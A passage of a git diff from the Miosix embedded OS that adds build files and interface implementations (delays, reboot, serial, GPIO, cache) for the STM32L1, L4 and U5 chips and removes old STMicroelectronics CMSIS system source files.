* Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32l1/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32l1/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..5e7247131 --- /dev/null +++ b/miosix/arch/chip/stm32l1/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f1_f2_f4_serial.h" diff --git a/miosix/arch/chip/stm32l4/CMakeLists.txt b/miosix/arch/chip/stm32l4/CMakeLists.txt new file mode 100644 index 000000000..c0c06e1de --- /dev/null +++ b/miosix/arch/chip/stm32l4/CMakeLists.txt @@ -0,0 +1,30 @@ +## +## CMakeLists.txt for chip stm32l4 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v7e-m+fp/hard) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32L4) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32L4) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv7m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32f7_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.cpp +) diff --git a/miosix/arch/chip/stm32l4/Makefile.inc b/miosix/arch/chip/stm32l4/Makefile.inc new file mode 100644 index 000000000..a11c4729e --- /dev/null +++ b/miosix/arch/chip/stm32l4/Makefile.inc @@ -0,0 +1,31 @@ +## +## Makefile for chip stm32l4 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv7m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m4 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 +CHIP_CFLAGS := -D_CHIP_STM32L4 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32L4 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv7m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/serial/stm32f7_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/CMSIS/Device/ST/STM32L4xx/Source/Templates/system_stm32l4xx.cpp diff --git a/miosix/arch/chip/stm32l4/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32l4/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..e1c18fdc7 --- /dev/null +++ b/miosix/arch/chip/stm32l4/interfaces-impl/cache_impl.h @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2026 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +namespace miosix { + +// Implementation of interfaces/cache.h for a chip wihtout caches + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) {} +inline void markBufferAfterDmaRead(void *buffer, int size) {} +inline void IRQenableCache() {} + +} //namespace miosix diff --git a/miosix/arch/chip/stm32l4/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32l4/interfaces-impl/delays.cpp new file mode 100644 index 000000000..e82a32dff --- /dev/null +++ b/miosix/arch/chip/stm32l4/interfaces-impl/delays.cpp @@ -0,0 +1,59 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + const unsigned int count=cpuFrequency/4000; + for(unsigned int i=0;i * + ***************************************************************************/ + +#ifndef GPIO_IMPL_H +#define GPIO_IMPL_H + +#include "drivers/gpio/stm32_gpio.h" + +#endif //GPIO_IMPL_H diff --git a/miosix/arch/chip/stm32l4/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32l4/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32l4/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32l4/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32l4/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32l4/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/chip/stm32u5/CMakeLists.txt b/miosix/arch/chip/stm32u5/CMakeLists.txt new file mode 100644 index 000000000..2a36959d6 --- /dev/null +++ b/miosix/arch/chip/stm32u5/CMakeLists.txt @@ -0,0 +1,32 @@ +## +## CMakeLists.txt for chip stm32u5 +## + +# CPU microarchitecture +set(MIOSIX_CPU_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv8m) + +# Set the path to the multilib directory for this architecture (used by clang) +set(MIOSIX_MULTILIB_PATH thumb/v8-m.main+fp/hard) + +# Select appropriate compiler flags for both ASM/C/C++/linker +set(MIOSIX_CPU_FLAGS -mcpu=cortex-m33 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16) +set(MIOSIX_CHIP_C_FLAGS -D_CHIP_STM32U5) +set(MIOSIX_CHIP_CXX_FLAGS -D_CHIP_STM32U5) + +# Select architecture specific files +set(MIOSIX_CHIP_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/armv8m/interfaces-impl/cpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_interrupts.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_mpu.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/cpu/common/cortexMx_userspace.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/os_timer/stm32_32bit_os_timer.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/sleep/cortexMx_sleep.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32u5_serial.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/serial/stm32_serial_common.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/gpio/stm32_gpio.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/dcc.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/delays.cpp + ${MIOSIX_CHIP_INC}/interfaces-impl/poweroff.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/clock/stm32u5_pll.cpp + ${CMAKE_CURRENT_SOURCE_DIR}/arch/CMSIS/Device/ST/STM32U5xx/Source/Templates/system_stm32u5xx.cpp +) diff --git a/miosix/arch/chip/stm32u5/Makefile.inc b/miosix/arch/chip/stm32u5/Makefile.inc new file mode 100644 index 000000000..ba8c01225 --- /dev/null +++ b/miosix/arch/chip/stm32u5/Makefile.inc @@ -0,0 +1,33 @@ +## +## Makefile for chip stm32u5 +## Included by all board makefiles that use this chip +## + +## Select compiler +PREFIX := arm-miosix-eabi +## This architecture supports processes +POSTLD := mx-postlinker + +CPU_INC := arch/cpu/armv8m +## Select appropriate compiler flags for both ASM/C/C++/linker +CPU_FLAGS := -mcpu=cortex-m33 -mthumb -mfloat-abi=hard -mfpu=fpv4-sp-d16 +CHIP_CFLAGS := -D_CHIP_STM32U5 $(XRAM) +CHIP_CXXFLAGS := -D_CHIP_STM32U5 $(XRAM) + +## Select architecture specific files +## These are the files in arch//common +CHIP_SRC := \ +arch/cpu/armv8m/interfaces-impl/cpu.cpp \ +arch/cpu/common/cortexMx_interrupts.cpp \ +arch/cpu/common/cortexMx_mpu.cpp \ +arch/cpu/common/cortexMx_userspace.cpp \ +arch/drivers/os_timer/stm32_32bit_os_timer.cpp \ +arch/drivers/sleep/cortexMx_sleep.cpp \ +arch/drivers/serial/stm32u5_serial.cpp \ +arch/drivers/serial/stm32_serial_common.cpp \ +arch/drivers/gpio/stm32_gpio.cpp \ +arch/drivers/dcc.cpp \ +$(CHIP_INC)/interfaces-impl/delays.cpp \ +$(CHIP_INC)/interfaces-impl/poweroff.cpp \ +arch/drivers/clock/stm32u5_pll.cpp \ +arch/CMSIS/Device/ST/STM32U5xx/Source/Templates/system_stm32u5xx.cpp diff --git a/miosix/arch/chip/stm32u5/interfaces-impl/cache_impl.h b/miosix/arch/chip/stm32u5/interfaces-impl/cache_impl.h new file mode 100644 index 000000000..831586f23 --- /dev/null +++ b/miosix/arch/chip/stm32u5/interfaces-impl/cache_impl.h @@ -0,0 +1 @@ +#include "drivers/cache/stm32u5_cache.h" diff --git a/miosix/arch/chip/stm32u5/interfaces-impl/delays.cpp b/miosix/arch/chip/stm32u5/interfaces-impl/delays.cpp new file mode 100644 index 000000000..d3a25f872 --- /dev/null +++ b/miosix/arch/chip/stm32u5/interfaces-impl/delays.cpp @@ -0,0 +1,67 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * Copyright (C) 2026 by Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "board_settings.h" +#include "interfaces/delays.h" + +namespace miosix { + +void delayMs(unsigned int mseconds) +{ + // Formula is SystemCoreClockInMhz*250 + const unsigned int count=cpuFrequency/4000-1; + for(unsigned int i=0;i * + ***************************************************************************/ + +#pragma once + +#include "drivers/gpio/stm32_gpio.h" + diff --git a/miosix/arch/chip/stm32u5/interfaces-impl/poweroff.cpp b/miosix/arch/chip/stm32u5/interfaces-impl/poweroff.cpp new file mode 100644 index 000000000..d83d3db45 --- /dev/null +++ b/miosix/arch/chip/stm32u5/interfaces-impl/poweroff.cpp @@ -0,0 +1,38 @@ +/*************************************************************************** + * Copyright (C) 2025 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" + +namespace miosix { + +void IRQsystemReboot() +{ + NVIC_SystemReset(); +} + +} // namespace miosix diff --git a/miosix/arch/chip/stm32u5/interfaces-impl/serial_impl.h b/miosix/arch/chip/stm32u5/interfaces-impl/serial_impl.h new file mode 100644 index 000000000..d1c44c366 --- /dev/null +++ b/miosix/arch/chip/stm32u5/interfaces-impl/serial_impl.h @@ -0,0 +1,30 @@ +/*************************************************************************** + * Copyright (C) 2026 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "drivers/serial/stm32f7_serial.h" diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.c deleted file mode 100644 index 31c51a6f6..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32F0xx/Source/Templates/system_stm32f0xx.c +++ /dev/null @@ -1,255 +0,0 @@ -/** - ****************************************************************************** - * @file system_stm32f0xx.c - * @author MCD Application Team - * @brief CMSIS Cortex-M0 Device Peripheral Access Layer System Source File. - * - * 1. This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32f0xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * - ****************************************************************************** - * @attention - * - * Copyright (c) 2016 STMicroelectronics. - * All rights reserved. - * - * This software is licensed under terms that can be found in the LICENSE file - * in the root directory of this software component. - * If no LICENSE file comes with this software, it is provided AS-IS. - * - ****************************************************************************** - */ -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32f0xx_system - * @{ - */ - -/** @addtogroup STM32F0xx_System_Private_Includes - * @{ - */ - -// By redman: was #include "stm32f0xx.h", but the specific chip is #defined in -// arch_registers_impl.h -#include "interfaces/arch_registers.h" - -/** - * @} - */ - -/** @addtogroup STM32F0xx_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F0xx_System_Private_Defines - * @{ - */ -#if !defined (HSE_VALUE) - #define HSE_VALUE ((uint32_t)8000000) /*!< Default value of the External oscillator in Hz. - This value can be provided and adapted by the user application. */ -#endif /* HSE_VALUE */ - -#if !defined (HSI_VALUE) - #define HSI_VALUE ((uint32_t)8000000) /*!< Default value of the Internal oscillator in Hz. - This value can be provided and adapted by the user application. */ -#endif /* HSI_VALUE */ - -#if !defined (HSI48_VALUE) -#define HSI48_VALUE ((uint32_t)48000000) /*!< Default value of the HSI48 Internal oscillator in Hz. - This value can be provided and adapted by the user application. */ -#endif /* HSI48_VALUE */ -/** - * @} - */ - -/** @addtogroup STM32F0xx_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F0xx_System_Private_Variables - * @{ - */ - /* This variable is updated in three ways: - 1) by calling CMSIS function SystemCoreClockUpdate() - 2) by calling HAL API function HAL_RCC_GetHCLKFreq() - 3) each time HAL_RCC_ClockConfig() is called to configure the system clock frequency - Note: If you use this function to configure the system clock; then there - is no need to call the 2 first functions listed above, since SystemCoreClock - variable is updated automatically. - */ -#ifdef SYSCLK_FREQ_32MHz -uint32_t SystemCoreClock = 32000000; -#else -uint32_t SystemCoreClock = 8000000; -#endif - -const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; -const uint8_t APBPrescTable[8] = {0, 0, 0, 0, 1, 2, 3, 4}; - -/** - * @} - */ - -/** @addtogroup STM32F0xx_System_Private_FunctionPrototypes - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F0xx_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system - * @param None - * @retval None - */ -void SystemInit(void) -{ - /* NOTE :SystemInit(): This function is called at startup just after reset and - before branch to main program. This call is made inside - the "startup_stm32f0xx.s" file. - User can setups the default system clock (System clock source, PLL Multiplier - and Divider factors, AHB/APBx prescalers and Flash settings). - */ -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) - * or HSI_VALUE(*) multiplied/divided by the PLL factors. - * - * - If SYSCLK source is HSI48, SystemCoreClock will contain the HSI48_VALUE(***) - * - * (*) HSI_VALUE is a constant defined in stm32f0xx_hal_conf.h file (default value - * 8 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32f0xx_hal_conf.h file (its value - * depends on the application requirements), user has to ensure that HSE_VALUE - * is same as the real frequency of the crystal used. Otherwise, this function - * may have wrong result. - * - * (***) HSI48_VALUE is a constant defined in stm32f0xx_hal_conf.h file (default value - * 48 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * - * @param None - * @retval None - */ -void SystemCoreClockUpdate (void) -{ - uint32_t tmp = 0, pllmull = 0, pllsource = 0, predivfactor = 0; - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case RCC_CFGR_SWS_HSI: /* HSI used as system clock */ - SystemCoreClock = HSI_VALUE; - break; - case RCC_CFGR_SWS_HSE: /* HSE used as system clock */ - SystemCoreClock = HSE_VALUE; - break; - case RCC_CFGR_SWS_PLL: /* PLL used as system clock */ - /* Get PLL clock source and multiplication factor ----------------------*/ - pllmull = RCC->CFGR & RCC_CFGR_PLLMUL; - pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; - pllmull = ( pllmull >> 18) + 2; - predivfactor = (RCC->CFGR2 & RCC_CFGR2_PREDIV) + 1; - - if (pllsource == RCC_CFGR_PLLSRC_HSE_PREDIV) - { - /* HSE used as PLL clock source : SystemCoreClock = HSE/PREDIV * PLLMUL */ - SystemCoreClock = (HSE_VALUE/predivfactor) * pllmull; - } -#if defined(STM32F042x6) || defined(STM32F048xx) || defined(STM32F071xB) || defined(STM32F072xB) || defined(STM32F078xx) || defined(STM32F091xC) || defined(STM32F098xx) - else if (pllsource == RCC_CFGR_PLLSRC_HSI48_PREDIV) - { - /* HSI48 used as PLL clock source : SystemCoreClock = HSI48/PREDIV * PLLMUL */ - SystemCoreClock = (HSI48_VALUE/predivfactor) * pllmull; - } -#endif /* STM32F042x6 || STM32F048xx || STM32F071xB || STM32F072xB || STM32F078xx || STM32F091xC || STM32F098xx */ - else - { -#if defined(STM32F042x6) || defined(STM32F048xx) || defined(STM32F070x6) \ - || defined(STM32F078xx) || defined(STM32F071xB) || defined(STM32F072xB) \ - || defined(STM32F070xB) || defined(STM32F091xC) || defined(STM32F098xx) || defined(STM32F030xC) - /* HSI used as PLL clock source : SystemCoreClock = HSI/PREDIV * PLLMUL */ - SystemCoreClock = (HSI_VALUE/predivfactor) * pllmull; -#else - /* HSI used as PLL clock source : SystemCoreClock = HSI/2 * PLLMUL */ - SystemCoreClock = (HSI_VALUE >> 1) * pllmull; -#endif /* STM32F042x6 || STM32F048xx || STM32F070x6 || - STM32F071xB || STM32F072xB || STM32F078xx || STM32F070xB || - STM32F091xC || STM32F098xx || STM32F030xC */ - } - break; - default: /* HSI used as system clock */ - SystemCoreClock = HSI_VALUE; - break; - } - /* Compute HCLK clock frequency ----------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; - /* HCLK clock frequency */ - SystemCoreClock >>= tmp; -} - -/** - * @} - */ - -/** - * @} - */ - -/** - * @} - */ - diff --git a/miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.c b/miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.c deleted file mode 100644 index 8f46f2461..000000000 --- a/miosix/arch/common/CMSIS/Device/ST/STM32F1xx/Source/Templates/system_stm32f1xx.c +++ /dev/null @@ -1,1176 +0,0 @@ - -// -// This file has been modified by TFT!!! Changes are highlighted with "By TFT:" -// - -/** - ****************************************************************************** - * @file system_stm32f10x.c - * @author MCD Application Team - * @version V3.5.0 - * @date 11-March-2011 - * @brief CMSIS Cortex-M3 Device Peripheral Access Layer System Source File. - * - * 1. This file provides two functions and one global variable to be called from - * user application: - * - SystemInit(): Setups the system clock (System clock source, PLL Multiplier - * factors, AHB/APBx prescalers and Flash settings). - * This function is called at startup just after reset and - * before branch to main program. This call is made inside - * the "startup_stm32f10x_xx.s" file. - * - * - SystemCoreClock variable: Contains the core clock (HCLK), it can be used - * by the user application to setup the SysTick - * timer or configure other parameters. - * - * - SystemCoreClockUpdate(): Updates the variable SystemCoreClock and must - * be called whenever the core clock is changed - * during program execution. - * - * 2. After each device reset the HSI (8 MHz) is used as system clock source. - * Then SystemInit() function is called, in "startup_stm32f10x_xx.s" file, to - * configure the system clock before to branch to main program. - * - * 3. If the system clock source selected by user fails to startup, the SystemInit() - * function will do nothing and HSI still used as system clock source. User can - * add some code to deal with this issue inside the SetSysClock() function. - * - * 4. The default value of HSE crystal is set to 8 MHz (or 25 MHz, depedning on - * the product used), refer to "HSE_VALUE" define in "stm32f10x.h" file. - * When HSE is used as system clock source, directly or through PLL, and you - * are using different crystal you have to adapt the HSE value to your own - * configuration. - * - ****************************************************************************** - * @attention - * - * THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS - * WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE - * TIME. AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY - * DIRECT, INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING - * FROM THE CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE - * CODING INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS. - * - *

© COPYRIGHT 2011 STMicroelectronics

